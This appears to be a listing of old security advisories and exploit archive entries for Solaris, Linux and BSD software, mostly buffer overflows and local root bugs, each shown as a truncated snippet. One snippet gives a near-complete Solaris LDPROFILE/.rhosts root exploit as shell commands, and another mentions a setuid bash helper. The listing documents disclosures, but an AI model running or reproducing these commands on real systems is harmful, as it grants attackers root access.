[SECURITY] New version of splitvt released

Package: splitvt Vulnerability: local root exploit Debian-specific: no The version of splitvt distributed in Debian GNU/Linux 2.1 a.k.a. slink, as well as in the frozen potato and unstable woody distributions, is vulnerable to a local buffer overflow. This could be exploited to give a shell runni...

[SECURITY] New version of splitvt released (update)

------------------------------------------------------------------------ Debian Security Advisory [email protected] http://www.debian.org/security/ Wichert Akkerman June 5, 2000 - ------------------------------------------------------------------------ Package: splitvt Vulnerability: local root...

[SECURITY] New version of splitvt released

---------------------------------------------------------------------------- Debian Security Advisory [email protected] http://www.debian.org/security/ Daniel Jacobowitz June 5, 2000 - ---------------------------------------------------------------------------- Package: splitvt Vulnerability:...

antisniff x86/linux remote root exploit, including "fixed" 1.02 version

/ l0phtl0phe.c - antisniff exploit 1.02 included -sc/teso gcc -o l0phtl0phe l0phtl0phe.c -Wall -lnet libnet-config --defines description: l0pht messed up the fix for their problem in antisniff by not regarding the type signedness properties of the char and int values used. this results in a cool...

Очередной локальный root в Solaris

Переполнение буфера в suid root /usr/lib/lp/bin/netpr...

New Solaris root exploit for /usr/lib/lp/bin/netpr

Word on the street is that others have noticed this hole, so here goes. Have you noticed how many holes have been discovered in the printing system on Solaris? The netpr program is no exception. Included with this message are two exploits I wrote in 1999, one for SPARC versions of Solaris and the...

Security Advisory: FreeBSD-SA-00:09.mtr

============================================================================= FreeBSD-SA-00:09 Security Advisory FreeBSD, Inc. Topic: mtr port contains a local root exploit. Category: ports Module: mtr Announced: 2000-03-15 Affects: Ports collection before the correction date. Corrected: 2000-03-...

FreeBSD-SA-00:09.mtr

-----BEGIN PGP SIGNED MESSAGE----- ============================================================================= FreeBSD-SA-00:09 Security Advisory FreeBSD, Inc. Topic: mtr port contains a local root exploit. Category: ports Module: mtr Announced: 2000-03-15 Affects: Ports collection before the...

Halloween Linux 4.0 RedHat Linux 6.16.2 - imwheel (1)

Halloween Linux 4.0 RedHat Linux 6.16.2 - imwheel 1 // source: https://www.securityfocus.com/bid/1060/info A vulnerability exists in the 'imwheel' package for Linux. This package is known to be vulnerable to a buffer overrun in its handling of the HOME environment variable. By supplying a...

Halloween Linux 4.0 RedHat Linux 6.16.2 - imwheel (2)

Halloween Linux 4.0 RedHat Linux 6.16.2 - imwheel 2 // source: https://www.securityfocus.com/bid/1060/info A vulnerability exists in the 'imwheel' package for Linux. This package is known to be vulnerable to a buffer overrun in its handling of the HOME environment variable. By supplying a...

Great Circle Associates Majordomo 1.94.4 - Local resend

source: https://www.securityfocus.com/bid/902/info It is possible to execute arbitrary commands with elevated privileges through exploiting the majordomo binary, "resend". A setuid root wrapper program calls resend after setuiding and setgiding to lowered but still elevated privileges which it ru...

Turbolinux 3.5 b2 - canuum Local Buffer Overflow

Turbolinux 3.5 b2 - canuum Local Buffer Overflow // source: https://www.securityfocus.com/bid/758/info Canna is a Japanese input system available as free software. Canna provides a unified user interface for inputting Japanese. Canna supports NemacsMule, kinput2 and canuum. All of these tools can...

solaris_root_exploit.txt

works on solaris 2.6 sparc anyway... ! /bin/ksh LDPROFILE local root exploit for solaris [email protected] 19990922 umask 000 ln -s /.rhosts /var/tmp/ps.profile export LDPROFILE=/usr/bin/ps /usr/bin/ps echo + + /.rhosts rsh -l root localhost csh -i -- 1024/D9C69DF9 steve mynott...

SuSE_root_exploit.txt

nlservd/rnavc local root exploit for Linux x86 tested on SuSE 6.2 exploits Arkiea's Knox backup package. gcc -o knox knox.c ./knox NOTE: you MUST have void mainsetuidgeteuid; system"/bin/bash"; compiled in /tmp/ui for this to work. To exploit rnavc, simply change the execl call to...

Knox Arkeia 4.0 Backup - Local Overflow

/ source: https://www.securityfocus.com/bid/661/info Knox Software Arkeia 4.0 Backup rnavc & nlserverd HOME Environment Variable Buffer Overflow A local buffer overflow in the handling of the HOME environment variable by the rlserver and rnavc binaries that are part of the Knox Software Arkiea...

freebsd_root_exploit.txt

Subject: FreeBSD and other BSDs? local root explot To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 / c 1999 babcia padlina ltd. bug in ftsprint function allows to overwrite any file in system, when running /etc/security script executed from 'daily' scripts. affected...

cron_root_patch.txt

Subject: Vixie Cron version 3.0pl1 vulnerable to root exploit To: [email protected] Vixie Cron version 3.0pl1 vulne.ems Content-Type: text/plain; charset=us-ascii PGP Signature Status: unknown Signer: Unknown, Key ID xAE8F7CF5 Signed: 8/28/99 11:42:41 PM Verified: 9/22/99 1:44:11 AM BEGIN...

Martin Schulze Cfingerd 1.4.2 - GECOS Buffer Overflow

Martin Schulze Cfingerd 1.4.2 - GECOS Buffer Overflow // source: https://www.securityfocus.com/bid/651/info Under systems that allow the user to change his GECOS field from the password file and do not limit its length cfingerd is vulnerable to a local root or nobody buffer overflow. By setting a...

VMWare_exploit.txt

Subject: Re: VMWare Advisory.. - exploit To: [email protected] / VMware v1.0.1 root sploit funkySh 02/07/99 1. Redhat 5.2 2.2.9 offset 800-1100 2. offset 1600-2200 1. Slackware 3.6 2.2.9 offset 0 2. offset ? 1 - started from xterm on localhost 2 - started from telnet, with valid display /...

Martin Schulze Cfingerd 1.4.2 - GECOS Buffer Overflow

// source: https://www.securityfocus.com/bid/651/info Under systems that allow the user to change his GECOS field from the password file and do not limit its length cfingerd is vulnerable to a local root or nobody buffer overflow. By setting a carefully designed GECOS field it is possible to...